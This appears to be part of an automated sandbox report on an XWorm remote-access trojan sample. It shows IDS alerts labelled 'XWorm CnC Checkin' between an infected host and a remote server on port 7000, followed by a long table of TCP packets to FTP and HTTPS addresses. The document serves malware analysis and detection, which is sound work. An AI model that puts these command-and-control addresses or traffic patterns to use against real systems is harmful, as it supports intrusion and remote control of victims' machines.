                                                                                                                                        2024-11-20T11:08:09.442153+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:11.107005+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:11.108897+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:08:14.435993+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:16.939791+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:16.939791+01002852874ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M21178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:19.435970+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:24.452045+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:25.143354+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:25.146422+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:08:27.966603+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:27.968545+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:08:29.464679+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:34.449141+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:39.448894+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:41.802067+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:41.803711+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:08:44.452418+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:46.939506+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:46.939506+01002852874ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M21178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:49.460204+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:54.523128+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP

                                                                                                                                        Network Port Distribution

                                                                                                                                        TCP Packets

                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                        Nov 20, 2024 11:06:12.746149063 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:12.751194954 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:12.751327991 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:13.367064953 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:13.370867968 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:13.377578020 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:13.781352997 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:13.781498909 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:13.788193941 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.006649971 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.006819010 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.011769056 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.230370998 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.230571985 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.235481024 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.451147079 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.451817989 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.459029913 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.674820900 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.675137043 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.682831049 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.899075031 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.917864084 CET4973160098192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.922952890 CET6009849731191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:14.923043966 CET4973160098192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.923094988 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:14.927973986 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.145421028 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.186428070 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:15.545025110 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.548041105 CET6009849731191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.548090935 CET6009849731191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.548266888 CET4973160098192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:15.552648067 CET4973160098192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:15.557748079 CET6009849731191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.592633963 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:15.748368025 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:15.748411894 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.748482943 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:15.793423891 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:15.793459892 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.265698910 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.265943050 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.268992901 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.269006014 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.269222021 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.289725065 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.331340075 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473500013 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473604918 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473637104 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473668098 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.473681927 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473694086 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.473727942 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.474792004 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.474849939 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.474864960 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.475012064 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.475042105 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.475054026 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.475060940 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.475106001 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.475624084 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.530030012 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.530710936 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560151100 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560195923 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560214996 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.560234070 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560276985 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.560281992 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560295105 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560343981 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.560352087 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560935974 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.560985088 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.560993910 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561815023 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561870098 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561882019 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.561887980 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561922073 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561928034 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.561933994 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.561985970 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.562695026 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.562735081 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.562781096 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.562788010 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.563627005 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.563656092 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.563677073 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.563680887 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.563692093 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.563719988 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.608185053 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.608198881 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.619216919 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.619254112 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.619287014 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.619339943 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.619349957 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.619412899 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.648513079 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.648545980 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.648636103 CET44349732188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:16.648673058 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.648705006 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:16.670269012 CET49732443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:21.516251087 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:21.694072962 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:21.694225073 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:22.303169966 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.303379059 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:22.308428049 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.523231983 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.525357962 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:22.532684088 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.755460024 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.755598068 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:22.762960911 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.975476980 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:22.975707054 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:22.980670929 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.195601940 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.195755959 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:23.200746059 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.518193960 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.518307924 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:23.526592970 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.740792990 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.743206978 CET4973460964192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:23.750165939 CET6096449734191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.750386953 CET4973460964192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:23.750405073 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:23.755338907 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:23.972691059 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.076889038 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:24.359497070 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.359600067 CET6096449734191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.359790087 CET6096449734191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.359873056 CET4973460964192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:24.360022068 CET4973460964192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:24.363228083 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.363262892 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.363854885 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.366173983 CET6096449734191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.370378017 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.370392084 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.467716932 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:24.847548962 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.847830057 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.849011898 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.849025965 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.849261045 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:24.855333090 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:24.903347969 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.302678108 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.302746058 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.302803993 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.302828074 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.302884102 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.343111038 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343194962 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343245983 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.343272924 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343405962 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343425989 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343451977 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.343461037 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.343493938 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.359977961 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393213034 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393238068 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393253088 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.393263102 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393306017 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.393311024 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393708944 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.393754005 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.393759012 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.401726961 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.401913881 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.401921034 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.437850952 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.437947989 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438077927 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.438082933 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438112020 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438178062 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.438179016 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.438204050 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438349962 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438429117 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438476086 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.438487053 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438587904 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438730001 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.438757896 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.438771009 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.439362049 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.439362049 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.451760054 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.451939106 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.452028036 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.452054024 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.452192068 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.452197075 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.483956099 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.484088898 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.484100103 CET44349735188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.484239101 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.484882116 CET49735443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:25.493881941 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:25.493936062 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.493994951 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:25.494263887 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:25.494277954 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.990751028 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.990824938 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:25.992624044 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:25.992631912 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.993056059 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.994004965 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:26.039336920 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:26.323333979 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:26.323676109 CET44349737104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:26.323743105 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:26.324027061 CET49737443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:26.371305943 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:26.371340036 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:26.371412039 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:26.371877909 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:26.371896029 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.322062016 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.322138071 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:27.326271057 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:27.326289892 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.326647043 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.334742069 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:27.379336119 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.879956007 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.879991055 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.880218983 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:27.880248070 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:27.951824903 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.114119053 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.114135981 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.114237070 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.114654064 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.114664078 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.114799976 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.116027117 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.116038084 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.116094112 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.116898060 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.116906881 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.116991997 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.350291014 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.350302935 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.350373983 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.350897074 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.350960970 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.350970030 CET4434974064.235.43.128192.168.2.4
